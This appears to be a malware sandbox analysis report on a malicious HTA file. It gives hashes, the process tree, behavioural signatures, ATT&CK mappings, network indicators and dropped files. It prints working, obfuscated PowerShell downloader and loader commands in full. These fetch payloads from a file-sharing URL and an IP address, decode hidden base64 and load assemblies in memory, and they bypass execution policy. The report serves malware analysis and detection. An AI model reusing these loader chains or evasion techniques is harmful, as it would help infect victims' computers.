aea9253a5f1a4e0f59325f84c015b3980a1573e1873643fce09e084a76e0047b

Analysis

max time kernel
117s
max time network
118s
platform
windows7_x64
resource
win7-20240729-en
resource tags

arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
submitted
14/11/2024, 02:57 UTC

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

aea9253a5f1a4e0f59325f84c015b3980a1573e1873643fce09e084a76e0047b.hta
Size

207KB
MD5

c68d7836e2c6c8a7a4a633990cae450a
SHA1

5539d4f53c0606ce688636221c440b4b53c23ed6
SHA256

aea9253a5f1a4e0f59325f84c015b3980a1573e1873643fce09e084a76e0047b
SHA512

3b8b93c533a300b96df1c6c487cdead1ab42e859ffe5f8c1aa56236fcad9c553d79c46fd5cc6ee9a32523dec9c6e701d20961616646ba61e3c2239e415c875d0
SSDEEP

96:43F97gqxE+VV7TEFVVHGRQKjfJIPEKswcE0EBeEVVjEKQ:43F15xTV7TwVHGRJjkhclBSVjvQ

Score

10^/10

defense_evasion discovery execution

Malware Config

Extracted

Language

ps1

Deobfuscated

# powershell snippet 0

"$imageUrl = 'https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f ';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$base64Reversed = -join ($base64Command.ToCharArray() | ForEach-Object { $_ })[-1..-($base64Command.Length)];$commandBytes = [System.Convert]::FromBase64String($base64Reversed);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$vaiMethod = [dnlib.IO.Home].GetMethod('VAI');$vaiMethod.Invoke($null, @('txt.RRFTRWS/66/92.022.3.291//:ptth', 'desativado', 'desativado', 'desativado', 'CasPol', 'desativado', 'desativado','desativado','desativado','desativado','desativado','desativado','1','desativado'));"|invoke-expression

# powershell snippet 1

$imageurl = "https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f "

$webclient = new-object system.net.webclient

$imagebytes = $webclient.downloaddata("https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f ")

$imagetext = ([system.text.encoding]::ascii).getstring($imagebytes)

$startflag = "<<BASE64_START>>"

$endflag = "<<BASE64_END>>"

$startindex = $imagetext.indexof("<<BASE64_START>>")

$endindex = $imagetext.indexof("<<BASE64_END>>")

$startindex -ge 0 -and $endindex -gt $startindex

$startindex = $startflag.length

$base64length = $endindex - $startindex

$base64command = $imagetext.substring($startindex, $base64length)

$base64reversed = -join $base64command.tochararray()|%{$_}[-(1..)($base64command.length)]

$commandbytes = [system.convert]::frombase64string($base64reversed)

$loadedassembly = [system.reflection.assembly]::load($commandbytes)

$vaimethod = ([dnlib.io.home]).getmethod("VAI")

URLs

ps1.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

exe.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

Signatures

Blocklisted process makes network request 3 IoCs

flow	pid	Process
3	2988	PoweRsHELl.Exe
6	2620	powershell.exe
7	2620	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1964	powershell.exe
2620	powershell.exe

Evasion via Device Credential Deployment 2 IoCs

defense_evasion execution

pid	Process
2988	PoweRsHELl.Exe
2712	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PoweRsHELl.Exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2988	PoweRsHELl.Exe
2712	powershell.exe
2988	PoweRsHELl.Exe
2988	PoweRsHELl.Exe
1964	powershell.exe
2620	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	2988	PoweRsHELl.Exe
Token: SeDebugPrivilege	2712	powershell.exe
Token: SeDebugPrivilege	1964	powershell.exe
Token: SeDebugPrivilege	2620	powershell.exe

Suspicious use of WriteProcessMemory 28 IoCs

description	pid	Process	procid_target
PID 2660 wrote to memory of 2988	2660	mshta.exe	30
PID 2660 wrote to memory of 2988	2660	mshta.exe	30
PID 2660 wrote to memory of 2988	2660	mshta.exe	30
PID 2660 wrote to memory of 2988	2660	mshta.exe	30
PID 2988 wrote to memory of 2712	2988	PoweRsHELl.Exe	32
PID 2988 wrote to memory of 2712	2988	PoweRsHELl.Exe	32
PID 2988 wrote to memory of 2712	2988	PoweRsHELl.Exe	32
PID 2988 wrote to memory of 2712	2988	PoweRsHELl.Exe	32
PID 2988 wrote to memory of 2624	2988	PoweRsHELl.Exe	33
PID 2988 wrote to memory of 2624	2988	PoweRsHELl.Exe	33
PID 2988 wrote to memory of 2624	2988	PoweRsHELl.Exe	33
PID 2988 wrote to memory of 2624	2988	PoweRsHELl.Exe	33
PID 2624 wrote to memory of 2604	2624	csc.exe	34
PID 2624 wrote to memory of 2604	2624	csc.exe	34
PID 2624 wrote to memory of 2604	2624	csc.exe	34
PID 2624 wrote to memory of 2604	2624	csc.exe	34
PID 2988 wrote to memory of 792	2988	PoweRsHELl.Exe	36
PID 2988 wrote to memory of 792	2988	PoweRsHELl.Exe	36
PID 2988 wrote to memory of 792	2988	PoweRsHELl.Exe	36
PID 2988 wrote to memory of 792	2988	PoweRsHELl.Exe	36
PID 792 wrote to memory of 1964	792	WScript.exe	37
PID 792 wrote to memory of 1964	792	WScript.exe	37
PID 792 wrote to memory of 1964	792	WScript.exe	37
PID 792 wrote to memory of 1964	792	WScript.exe	37
PID 1964 wrote to memory of 2620	1964	powershell.exe	39
PID 1964 wrote to memory of 2620	1964	powershell.exe	39
PID 1964 wrote to memory of 2620	1964	powershell.exe	39
PID 1964 wrote to memory of 2620	1964	powershell.exe	39

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\aea9253a5f1a4e0f59325f84c015b3980a1573e1873643fce09e084a76e0047b.hta"
1⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:2660
- C:\Windows\SysWOW64\WInDowspOWersHeLL\v1.0\PoweRsHELl.Exe
  "C:\Windows\sYStEm32\WInDowspOWersHeLL\v1.0\PoweRsHELl.Exe" "pOwerSHeLl.ExE -ex BYPasS -NOp -w 1 -c dEVIcECreDentIAldEplOYmEnT ; iex($(IEx('[sYSTEm.teXt.eNCoDING]'+[cHar]58+[ChaR]0X3a+'UTf8.getsTRiNg([sySTem.COnVERt]'+[CHaR]0X3a+[chAr]0X3A+'frombaSE64STrIng('+[chAR]0x22+'JFNyRkRDMnFKTSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBZEQtdHlQZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tZU1iRXJkRWZJbmlUSU9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVSbG1vbi5kTGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBaQyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBob0xpVWhiSW9ELHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEVXSyx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZGhzbyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3dUxwdSk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInNQUyIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFtZVNQQWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgU3UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNyRkRDMnFKTTo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4zLjIyMC4yOS82Ni9zZWVteWJlc3RnaXJsdGhpbmtpbmdzaGVpc2Fob3RjaGlja2J1dGZ1dmsudElGIiwiJEVuVjpBUFBEQVRBXHNlZW15YmVzdGdpcmx0aGlua2luZ3NoZWlzYWhvdGNoaWNrYnV0ZnUudmJTIiwwLDApO1N0YXJULXNMZUVwKDMpO3N0YXJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRlTlY6QVBQREFUQVxzZWVteWJlc3RnaXJsdGhpbmtpbmdzaGVpc2Fob3RjaGlja2J1dGZ1LnZiUyI='+[cHaR]34+'))')))"
  2⤵
  - Blocklisted process makes network request
  - Evasion via Device Credential Deployment
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2988
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ex BYPasS -NOp -w 1 -c dEVIcECreDentIAldEplOYmEnT
    3⤵
    - Evasion via Device Credential Deployment
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2712
- - C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
    "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\yvj5tprs.cmdline"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2624
  - - C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
      C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES3361.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC3360.tmp"
      4⤵
      System Location Discovery: System Language Discovery
      PID:2604
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\seemybestgirlthinkingsheisahotchickbutfu.vbS"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:792
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdMRVJpbWFnZScrJ1VybCA9ICcrJ0RqWmh0dHBzOi8vMTAxNy5maWxlbWFpbC5jb20vYXBpL2ZpbGUvZ2V0P2ZpbGVrJysnZXk9MkFhX2JXbzlSZXU0NXQ3QlUxa1Znc2Q5cFQ5cGdTU2x2U3RHcm5UJysnSUNmRmhtVEtqM0xDNlNRdEljT2NfVDM1dyZwa192aWQ9ZmQ0ZjYxNGJiMjA5YzYnKycyYycrJzE3MzA5NDUxNzZhMDkwNGYgRGpaO0xFUndlYkNsJysnaScrJ2VudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7TEVSaW1hZ2VCeXRlcyAnKyc9IExFUndlYkNsaWVudC5Eb3dubG9hZERhJysndGEoTEVSaW1hZ2UnKydVcmwpO0xFUmltYWdlVGV4dCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKExFJysnUmltYWcnKydlQnl0JysnZXMpO0xFUnN0YXJ0RmxhZyA9IERqWjw8QkEnKydTRTY0X1NUQVJUPj5Ealo7TEVSZW5kRmxhZyA9IERqWjw8QkFTRTY0X0VORD4+RGpaO0xFUnN0YXJ0SW5kZXggPSBMRVJpbWFnZVRleHQuSW5kZXhPZihMRVJzdGFydEZsYWcpO0xFUmVuZEluZGV4ID0gTEVSaW1hZ2VUZXh0LkluZGV4T2YoTEVSZW5kRicrJ2xhZyk7TEVSc3RhcnRJbmRleCAtZ2UgMCAtYW4nKydkIExFUmVuZEluZGV4IC1ndCBMRVJzdGFydEluZGV4O0xFUnN0YXJ0SW5kZXggKz0gTEVSc3RhcicrJ3RGbGFnLkxlbmd0aDtMRVJiYXNlNjRMZW5ndGggPSBMRVJlbmRJbmRleCAtIExFUnN0YXJ0SW5kZXg7TEVSYmFzZTY0Q29tbWFuZCA9JysnIExFUmltYWdlVGV4dC5TdWJzdHJpbmcoTEVSc3RhcnRJbmRleCwgTEVSYmEnKydzZTY0TGVuZ3RoKTtMRVJiYXNlNjRSZXZlcnNlZCA9IC1qb2luIChMRVJiYXNlNjRDb20nKydtYW5kLlRvQ2hhckFycmF5KCkgaTFCIEZvckVhY2gtT2JqZWN0IHsgTEVSXyB9KVstMS4uLShMRVJiYXNlNjRDJysnb21tYW5kLkxlbmd0aCldO0wnKydFUmNvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoTEVSYmFzZTY0UmV2ZXJzZWQpO0xFUmxvYWRlZEFzcycrJ2VtYmx5ID0gW1N5c3RlbS5SZWYnKydsZWN0JysnaW8nKyduLkFzc2VtYmx5XTo6TCcrJ29hZChMRVJjb21tYW5kQicrJ3l0ZXMpO0xFUnZhaU1ldGhvZCAnKyc9IFtkbmxpYi5JTy4nKydIb21lXS5HZXRNZXRob2QoRGpaVkFJRGpaKTtMRVJ2YWlNZXRob2QuSW52b2tlKExFUm51bGwsIEAoRGpadHh0LlJSRlRSV1MvNjYvOTIuMDIyLjMuMjkxLy86cHR0aERqWiwgRGpaZGVzYXRpdmFkb0RqWiwgRGpaZGVzYXRpdicrJ2EnKydkJysnb0RqWiwgRGpaZGVzYScrJ3RpdmFkb0RqWiwgRGpaQ2FzUG9sRGpaLCBEalpkZXNhdGl2YWRvRGpaLCBEalpkZXNhdGl2YWRvRGpaLERqWmRlc2F0aXZhZG9EalosRGpaZGUnKydzYXRpdmFkb0RqWixEalpkZXNhdGl2YWRvJysnRCcrJ2paLERqWmRlc2F0aXZhZG9EalosRGpaZGVzYXRpdmFkJysnb0RqWixEaloxRGpaLERqWmRlc2F0aXYnKydhZG9EalopKTsnKS5yZVBMQWNFKChbY0hBUl02OCtbY0hBUl0xMDYrW2NIQVJdOTApLFtTdHJpbmddW2NIQVJdMzkpLnJlUExBY0UoKFtjSEFSXTc2K1tjSEFSXTY5K1tjSEFSXTgyKSxbU3RyaW5nXVtjSEFSXTM2KS5yZVBMQWNFKCdpMUInLCd8JykgfCAmICggJHNIRWxsaURbMV0rJHNIRWxMSURbMTNdKyd4Jyk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1964
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('LERimage'+'Url = '+'DjZhttps://1017.filemail.com/api/file/get?filek'+'ey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnT'+'ICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c6'+'2c'+'1730945176a0904f DjZ;LERwebCl'+'i'+'ent = New-Object System.Net.WebClient;LERimageBytes '+'= LERwebClient.DownloadDa'+'ta(LERimage'+'Url);LERimageText = [System.Text.Encoding]::UTF8.GetString(LE'+'Rimag'+'eByt'+'es);LERstartFlag = DjZ<<BA'+'SE64_START>>DjZ;LERendFlag = DjZ<<BASE64_END>>DjZ;LERstartIndex = LERimageText.IndexOf(LERstartFlag);LERendIndex = LERimageText.IndexOf(LERendF'+'lag);LERstartIndex -ge 0 -an'+'d LERendIndex -gt LERstartIndex;LERstartIndex += LERstar'+'tFlag.Length;LERbase64Length = LERendIndex - LERstartIndex;LERbase64Command ='+' LERimageText.Substring(LERstartIndex, LERba'+'se64Length);LERbase64Reversed = -join (LERbase64Com'+'mand.ToCharArray() i1B ForEach-Object { LER_ })[-1..-(LERbase64C'+'ommand.Length)];L'+'ERcommandBytes = [System.Convert]::FromBase64String(LERbase64Reversed);LERloadedAss'+'embly = [System.Ref'+'lect'+'io'+'n.Assembly]::L'+'oad(LERcommandB'+'ytes);LERvaiMethod '+'= [dnlib.IO.'+'Home].GetMethod(DjZVAIDjZ);LERvaiMethod.Invoke(LERnull, @(DjZtxt.RRFTRWS/66/92.022.3.291//:ptthDjZ, DjZdesativadoDjZ, DjZdesativ'+'a'+'d'+'oDjZ, DjZdesa'+'tivadoDjZ, DjZCasPolDjZ, DjZdesativadoDjZ, DjZdesativadoDjZ,DjZdesativadoDjZ,DjZde'+'sativadoDjZ,DjZdesativado'+'D'+'jZ,DjZdesativadoDjZ,DjZdesativad'+'oDjZ,DjZ1DjZ,DjZdesativ'+'adoDjZ));').rePLAcE(([cHAR]68+[cHAR]106+[cHAR]90),[String][cHAR]39).rePLAcE(([cHAR]76+[cHAR]69+[cHAR]82),[String][cHAR]36).rePLAcE('i1B','|') | & ( $sHElliD[1]+$sHElLID[13]+'x')"
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2620

Network

GET

http://192.3.220.29/66/seemybestgirlthinkingsheisahotchickbutfuvk.tIF

PoweRsHELl.Exe

Remote address:

192.3.220.29:80

Request

GET /66/seemybestgirlthinkingsheisahotchickbutfuvk.tIF HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
Host: 192.3.220.29
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Date: Thu, 14 Nov 2024 02:57:20 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
Last-Modified: Tue, 12 Nov 2024 06:53:56 GMT
ETag: "2277e-626b1ae5bd205"
Accept-Ranges: bytes
Content-Length: 141182
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: image/tiff
DNS

1017.filemail.com

powershell.exe

Remote address:

8.8.8.8:53

Request

1017.filemail.com

IN A

Response

1017.filemail.com

IN CNAME

ip.1017.filemail.com

ip.1017.filemail.com

IN A

142.215.209.78

192.3.220.29:80

http://192.3.220.29/66/seemybestgirlthinkingsheisahotchickbutfuvk.tIF

http

PoweRsHELl.Exe

3.1kB
145.7kB
59
106

HTTP Request

GET http://192.3.220.29/66/seemybestgirlthinkingsheisahotchickbutfuvk.tIF

HTTP Response

200
142.215.209.78:443

1017.filemail.com

tls

powershell.exe

259 B
92 B
3
2
142.215.209.78:443

1017.filemail.com

tls

powershell.exe

259 B
92 B
3
2

8.8.8.8:53

1017.filemail.com

dns

powershell.exe

63 B
96 B
1
1

DNS Request

1017.filemail.com

DNS Response

142.215.209.78

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\RES3361.tmp

Filesize
1KB

MD5
36548fd40f253b9adb1d7d56e2b3b5ff

SHA1
138c4f301f1bcfa7a28ae361fc352ede76538d98

SHA256
2074b44fa5ef333e7b81f5bcd391c90a1fe844abf661a89971f3f30bf0d921e3

SHA512
c376b00cace899fcca29b024a11b0a166896b02a936a89bac9b7de83bd05c46129ff45f969ba0aa0bb7656a992d28c53354bc93d6c765f1cca1c39139e443fc4

Download Submit
C:\Users\Admin\AppData\Local\Temp\yvj5tprs.dll

Filesize
3KB

MD5
6ebddb818c7c55defbbcc2b8a304459d

SHA1
f96d61b32997ab94c721a5d2afbc79ca520e4d21

SHA256
1b7d5e4b720f83e56991a2af80920d917fbb08fc5c02d544f26d733ba8f477a0

SHA512
74d8e78405c8b90b38942c9b571ca8919e3fd6bd0f68e03e38d252bcd2eb829bb1c49e36ffbb05debd30bf8c9d9547710bcf362618164b4737de671a75ec1d6f

Download Submit
C:\Users\Admin\AppData\Local\Temp\yvj5tprs.pdb

Filesize
7KB

MD5
805db05a7d5b41102246e9fdae438469

SHA1
c8a37aa1e07441dbf85bd41e4b7d04e0b46130a6

SHA256
989bb66cb483aa029e9201b46db45cb992fc2408764b2146e56974e9037c653a

SHA512
18bd72d7b04c5a161f0a6128aa3decb76ea805d8a3c74dd08eb46986909609e5c2e3763fb6f9e24ba8a0c07c258b14242883f6ba72ad6731cbf6f71037c7dff0

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
e91317b2c29713532923c0f02729a96a

SHA1
b6625b16345c77578ea69ff6b74f8243002554a4

SHA256
e122dff370abdd0093b80e45275f49ff2bbb29751b7ff2351744517296e301f7

SHA512
e3a4477370e88c37e6a8131245b2bb149718a5c3d780460fcb2b1ad1b4ce236c9f663816516be8acd12a971d631c4ec41d66597871d82e3fec21fc9e89a6eaad

Download Submit
C:\Users\Admin\AppData\Roaming\seemybestgirlthinkingsheisahotchickbutfu.vbS

Filesize
137KB

MD5
b93e8a9bf23aeb31964d63d631ccf365

SHA1
05b27d7f62b142a9d88c6ab89eb8ffc5f2299bd4

SHA256
75a49d9f596717af29acad09533ed873c76d71ef857aa340e47a5605b209e63f

SHA512
46e5f392f462c69158443e1c26361e950452744240638375af4e3926f0b57eb2d0f58fea63a42f998e7da1776ee49cc993d67cc32c2b2aa5244476bc95654062

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\CSC3360.tmp

Filesize
652B

MD5
7141961d1c08c3559ed9852108b97e1b

SHA1
36e2a00dcff7f407b13c81febf0ab04272b54e30

SHA256
e23800ddb796a9d13b10308204ba79d4725d0eb31a2c7403752d62ad5280ad89

SHA512
3540c5d508f6e45cde6c9f3f6d3c07429eec3b6ec7b8dec3f975552ec4b60ad1489b0d6a6147fb30b4dc5b86a14a6a4a2d3bca505725f8a66bd570037a033ae6

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\yvj5tprs.0.cs

Filesize
466B

MD5
70e878f483525e691692b50ba3aeadd0

SHA1
fa16b13bc12663af3d9a7e7dba4e027931cf9ccb

SHA256
3de2628d310015c0692133b3509877416f0c20159830c0d9ad45f10109f0bee8

SHA512
22cb839c634a7c5dc2c4b00c7c98aaa12bc4c3cc76a096e52004ede5b8f2b79e71670702f4a028b55bf2f411501dff4347cc1947fc345b32c8d957c2d9a31a05

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\yvj5tprs.cmdline

Filesize
309B

MD5
7fed7c4cd36e23c0215efc64a369e49d

SHA1
ae6135cb587d1afd4c8c45aade0913a9e26b5b36

SHA256
241309de2b26c9fde7e59c82dafa2f4af38ac270eeb2cc2eaae9f01e5b69bfad

SHA512
4b51324acafd2e3f0345e6c5dca2f6ef13467ef366cbdb63fdf2515bbf2442267185a1f15f53e58ed286308248da30df99527173b822decb6eb368bcf5697a55

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

HTTP Request

HTTP Response

DNS Request

DNS Response

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

We care about your privacy.